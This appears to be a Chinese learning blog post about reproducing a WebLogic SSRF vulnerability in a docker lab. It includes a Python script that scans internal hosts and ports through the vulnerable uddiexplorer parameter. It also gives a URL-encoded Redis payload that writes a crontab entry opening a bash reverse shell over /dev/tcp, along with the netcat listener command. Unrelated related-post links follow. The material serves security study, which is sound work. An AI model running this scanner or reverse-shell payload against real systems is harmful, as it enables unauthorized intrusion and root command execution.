SSRF深入学习
爆出来的直接关于SSRF的漏洞有俩,①是weblogic,②是discuzz
SSRF漏洞最主要的部分并不是SSRF 探测内网,而是可以写shell,反弹shell,虽然很多厂家把它归为低危漏洞,仔细想,SSRF漏洞还是挺重要的,不鸣则已,一鸣惊人,一但利用成功,还是很牛批。比如说SSRF + XXE ,SSRF + redis ,,
仔细想想,上面这段话,一般对,一半不对,不先探测内网咋知道都开启了哪些服务,有哪些漏洞。当然,有的时候也没准有别的漏洞也可以探测内网环境。
对了,这里十分推荐特别经典的SSRF教材,猪猪侠SSRF PPT
关于weblogic 的介绍
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
weblogic 漏洞影响的版本是 weblogic 10.0.2 -- 10.3.6 从Oracle 官网最低只找到了10.3.6的版本, 因为安装weblogic需要卸载jdk,就看了几遍别人总结的文章,权当自己也复现过了。

文章来源: https://www.cnblogs.com/yuzly/archive/2019/05/23/10903398.html
其中有一部需要反弹shell,当时练这个是啥都不知道
昨天先去学习了shell语言,因为练啥是反弹shell之前都没见过,,比较逗比的事情就是昨天还再群里问各位大佬,为啥我这个shell根本反弹不了(当时用的bash命令,用的Windows系统。。。。)

然后去安装了一上午redis....原谅我有点笨
参考的文章: https://www.cnblogs.com/hunanzp/p/12304622.html 写的很不错
接下来就是SSRF的一种利用方式,注入HTTP头,可以使用burp抓包或者用hackbar把编码好的语句直接插入进去,利用redis反弹shell
简要过程
先判断是否存在SSRF漏洞,确定之后在判断C段中都有哪些存活主机,然后探测此主机开放的端口,这里需要注意的是,如果端口是开放的,访问会显示 404 或者 403 禁止,如果端口是关闭的,则会显示 400 不存在,或者连不上
这里我们可以用一个小脚本来测试哪些常见端口开放
import thread
import time
import re
import requests def ite_ip(ip):
for i in range(1, 256):
final_ip = '{ip}.{i}'.format(ip=ip, i=i)
print final_ip
thread.start_new_thread(scan, (final_ip,))
time.sleep(3) def scan(final_ip): //直接修改vul_url即可
ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
for port in ports:
vul_url = 'http://192.168.0.132:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
try:
#print vul_url
r = requests.get(vul_url, timeout=15, verify=False)
result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
result2 = re.findall('but could not connect', r.content)
result3 = re.findall('No route to host', r.content)
if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
print '[!]'+final_ip + ':' + port
except Exception, e:
pass if __name__ == '__main__':
ip = "172.18.0"
if ip:
print ip
ite_ip(ip)
else:
print "no ip"
端口测试回显 weblogic测试的时候返回的不同状态
- 端口存在返回状态码returned a 404 error code
- 端口不存在but could not connect over HTTP to server
- 非http协议:did not have a valid SOAP content-type 协议没写:no protocol


具体返回什么你可以试一试,反正如果存在SSRF漏洞,端口存在和不存在返回的状态一定是不同的,(你可以一个个去试,也可以写个python脚本,还有一个简单方法就是用brup爆破模块探测C段主机和端口的开放)
节省时间,就自己到docker里去查看了一下ip

探测出开启了redis服务
/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor
=&selfor=Business+location&btnSubmit=Search&operator=http://172.23.0.2:6379/
这里主要是operator=这里可进行操作,直接redis写shell就可以,
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
解码之后就是这样,这里一定要注意编码问题,换行是 %0d%0a ,用工具转换的话只有

然后我们把构造好的数据包通过burp进行发送 , 将url编码后的字符串放在ssrf的域名后面,发送:

接着靶机上开启端口监听,nc -lvnp 21 ,反弹shell。成功。

(关于redis写shell,在分类里面有文章专门介绍),
这里需要声明的是权限必须是root权限,否则无法进行写shell,不过对于redis攻击还有一种方法不需要root权限也可以进行利用,就是利用redis的主从模式,详细文章在分类里面有介绍。
原理就是把shell写到crontab定时任务里面,然后再改名成root,这么做的原因是在 /var/spool/cron/ 这个目录下root 是会系统定时执行的(需要注意,不同的操作系统,写文件的目录有所不同,在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建)
这里需要强调一点就是编码的问题,部分代码需要手动编码!!!!
(注意每条命令必须是%0d%0a分割,测试过只用%0a不成功,而且最后一条命令后面需要再随机加一行文本)
现在SSRF直接利用redis写shell的情况应该不是很多,主要的原因就是权限问题,利用redis写shell需要root权限,而新版本的redis以redis权限启动,并且一般用户都是以普通用户权限开启redis服务。
小米SSRF漏洞
http://xss.one/bug_detail.php?wybug_id=wooyun-2016-0215779
体验盒子 SSRF漏洞文章
https://www.uedbox.com/post/10524/
先知社区 红日安全的SSRF 写的很不错!!
https://xz.aliyun.com/t/6235
SSRF深入学习的更多相关文章
- ssrf漏洞学习(PHP)
自己最近原本是想深入的学习一下关于xss.csrf的东西的,可是感觉这些东西需要有很好的js的基础来进行学习..还有感觉自己感觉也差不多该要学习内网渗透了..正好ssrf在内网这一块也是比较有用的.于 ...
- 简单的SSRF的学习
自己眼中的SSRF 成因 服务端允许了 可以向其他服务器请求获取一些数据 通过各种协议 http https file等(外网服务器所在的内网进行端口的扫描指纹的识别等) 一SSRF配合redis未授 ...
- SSRF漏洞学习
SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内 ...
- 2019-11-28:ssrf基础学习,笔记
ssrf服务端请求伪造ssrf是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞,一般情况下,ssrf访问的目标是从外网无法访问的内部系统,正式因为它是由服务端发起的,所以它能请求到它相连而外网 ...
- CEYE平台的使用
0x01 CEYE 是什么 CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求.它可以帮助安全研究人员在测试漏洞时收集信息(例如SSRF / XXE / R ...
- phpStudy后门分析及复现
参考文章:https://blog.csdn.net/qq_38484285/article/details/101381883 感谢大佬分享!! SSRF漏洞学习终于告一段落,很早就知道phpstu ...
- SSRF 跨站请求伪造学习笔记
参考文章: 了解SSRF,这一篇就足够了 SSRF 学习之路 SSRF绕过方法总结 Weblogic SSRF漏洞 What-是什么 SSRF(Server-Side Request Forgery) ...
- 网络安全学习阶段性总结:SQL注入|SSRF攻击|OS命令注入|身份验证漏洞|事物逻辑漏洞|目录遍历漏洞
目录 SQL注入 什么是SQL注入? 掌握SQL注入之前需要了解的知识点 SQL注入情况流程分析 有完整的回显报错(最简单的情况)--检索数据: 在HTTP报文中利用注释---危险操作 检索隐藏数据: ...
- SSRF学习
前言 SSRF(Server-Side Request Forgery ,服务器端请求伪造) 是一种由攻击者构造形成由服务器发起请求的一个安全漏洞 SSRF的主要攻击目标为外网无法访问的内部系统. 本 ...
随机推荐
- mq TransientStorePool
总得来说 有些像页高速缓存那样,为了避免页面被换出到交换区,mq申请了一块内存,并且用指定这些页面不能被操作系统换出,然后将这些内存分配给业务使用:
- 推荐系统实践 0x0a 冷启动问题
什么是冷启动问题 如何在没有大量用户数据的情况下设计个性化推荐系统并且让用户对推荐结果满意从而愿意使用推荐系统,就是冷启动问题.冷启动问题主要分为三类: 用户冷启动 物品冷启动 系统冷启动 下面我们将 ...
- Alpha冲刺-第九次冲刺笔记
Alpha冲刺-冲刺笔记 这个作业属于哪个课程 https://edu.cnblogs.com/campus/fzzcxy/2018SE2 这个作业要求在哪里 https://edu.cnblogs. ...
- 最佳置换算法OPT
原文链接:https://www.jianshu.com/p/544ee20e307c
- 在腾讯云容器服务 TKE 中利用 HPA 实现业务的弹性伸缩
在 TKE 上利用 HPA 实现业务的弹性伸缩 概述 Kubernetes Pod 水平自动扩缩(Horizontal Pod Autoscaler,以下简称 HPA)可以基于 CPU 利用率.内存利 ...
- Docsify+腾讯云对象存储 COS,一键搭建云上静态博客
最近一直在想如何利用 COS 简化静态博客的搭建过程.搜了很多的静态博客搭建过程,发现大部分的静态博客都要通过编译才能生成静态页面.功夫不负有心人,终于让我找到了一个超简洁博客的搭建方法. 效果预览 ...
- Django----View.py
·首先先下载安装包· pip install djangorestframework==3.11.1 pip install django-filter==2.3.0 # 过滤器 pip instal ...
- JZOJ 11.21 提高B组反思
JZOJ 11.21 提高B组反思 T1 第二类斯特林数 直接套公式 \(S(i,j)=S(i-1,j-1)+S(i-1,j)*j\) 由于过大,\(unsigned\ long\ long\)都存不 ...
- 阿里云ECS服务器连接MongoDB
第一次接触MongoDB,第一次部署.将一些步骤整理出来,希望以后会用到,也希望能帮组到有这方面需求的小伙伴. 设备说明: 服务器为阿里云ECS服务器,网络为专有网络VPC,Mango为买的阿里云Ma ...
- C++编程指南续
三. 命名规则 比较著名的命名规则当推Microsoft公司的"匈牙利"法,该命名规则的主要思想是"在变量和函数名中加入前缀以增进人们对程序的理解".例如所有的 ...